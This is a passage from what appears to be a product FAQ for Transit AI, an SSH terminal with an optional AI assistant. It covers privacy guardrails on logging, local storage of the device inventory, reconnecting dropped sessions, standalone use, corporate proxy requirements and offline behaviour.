guardrails reject any log line that would carry prompt content, completion content, device names, or any other content-bearing field, and the guardrails are verified at runtime *and* at build time. ### What's stored about my devices? Your inventory (host, port, vendor, group, and the *name* of the credential to use — never the credential itself) is stored in a TOML file on your machine at the OS's standard application config path. None of it leaves your machine except via SSH to the device itself, or via filtered scrollback excerpts sent to the AI when you're actively asking it a question. ## Operational ### What if my SSH connection drops? Press **Enter** in the dead pane to reconnect. The tab stays in its slot, the new session opens against the same device, and any custom tab label / split anchor is preserved. ### Can I use it without the agent? Yes. The chat panel is hidden by default (toggle with **Cmd/Ctrl+J**). The terminal works standalone — connect, type, scroll, copy/paste. ### Does it work behind a corporate proxy? For SSH: subject to your proxy's outbound rules — Transit AI doesn't add a layer. For the AI assistant: traffic goes to `api.transitai.app` over HTTPS. The desktop is configured to talk only to that hostname and our identity provider, so those are the two domains your proxy needs to allow. ### Can I run it offline? The SSH client works offline — it's just a terminal. The AI agent needs `api.transitai.app` reachable; without it the chat panel shows an "offline" banner and disables the send button.